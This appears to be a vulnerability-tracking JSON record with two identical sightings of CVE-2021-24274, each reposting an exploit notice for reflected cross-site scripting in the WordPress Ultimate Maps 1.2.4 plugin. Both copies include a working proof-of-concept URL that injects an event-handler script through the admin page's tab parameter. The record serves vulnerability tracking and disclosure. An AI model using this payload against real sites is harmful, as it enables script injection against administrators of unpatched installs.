{"vulnerability": "cve-2021-24274", "sightings": [{"uuid": "c5482284-1ad7-450d-8d59-d34064751b8a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-24274", "type": "seen", "source": "https://t.me/hacking_Attack/25377", "content": "Exploit Collector\nWordPress Ultimate Maps 1.2.4 Cross Site Scripting\n\nhttps://2.bp.blogspot.com/-8IZk1MGzGDs/WWlvRc2I8KI/AAAAAAAAINM/SaF41lFV3n4aBJrQBjJ2SaVGr7WaiJo3gCLcBGAs/s1600/h34.png \nWordPress Ultimate Maps plugin version 1.2.4 suffers from a cross site scripting vulnerability.\n\nMD5 | a15131838592d920ab537cfb27e37ab4\n\nDownload\n# Exploit Title: WordPress Plugin Ultimate Maps 1.2.4 - Reflected Cross-Site Scripting (XSS)\n# Date: 3/28/2021\n# Author: 0xB9\n# Software Link: https://wordpress.org/plugins/ultimate-maps-by-supsystic/\n# Version: 1.2.4\n# Tested on: Windows 10\n# CVE: CVE-2021-24274\n\n1. Description:\nThe plugin did not sanitize the tab parameter of its options page before outputting it in an attribute, leading to a reflected Cross-Site Scripting issue\n\n2. Proof of Concept:\n/wp-admin/admin.php?page=ultimate-maps-supsystic&tab=\"+style=animation-name:rotation+onanimationstart=alert(/XSS/)//\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:20.095083Z"}, {"uuid": "5b99fb4d-7fb2-485d-ad90-14e9bc34a728", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-24274", "type": "seen", "source": "https://t.me/hacking_Attack/25377", "content": "Exploit Collector\nWordPress Ultimate Maps 1.2.4 Cross Site Scripting\n\nhttps://2.bp.blogspot.com/-8IZk1MGzGDs/WWlvRc2I8KI/AAAAAAAAINM/SaF41lFV3n4aBJrQBjJ2SaVGr7WaiJo3gCLcBGAs/s1600/h34.png \nWordPress Ultimate Maps plugin version 1.2.4 suffers from a cross site scripting vulnerability.\n\nMD5 | a15131838592d920ab537cfb27e37ab4\n\nDownload\n# Exploit Title: WordPress Plugin Ultimate Maps 1.2.4 - Reflected Cross-Site Scripting (XSS)\n# Date: 3/28/2021\n# Author: 0xB9\n# Software Link: https://wordpress.org/plugins/ultimate-maps-by-supsystic/\n# Version: 1.2.4\n# Tested on: Windows 10\n# CVE: CVE-2021-24274\n\n1. Description:\nThe plugin did not sanitize the tab parameter of its options page before outputting it in an attribute, leading to a reflected Cross-Site Scripting issue\n\n2. Proof of Concept:\n/wp-admin/admin.php?page=ultimate-maps-supsystic&tab=\"+style=animation-name:rotation+onanimationstart=alert(/XSS/)//\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:02:49.297025Z"}]}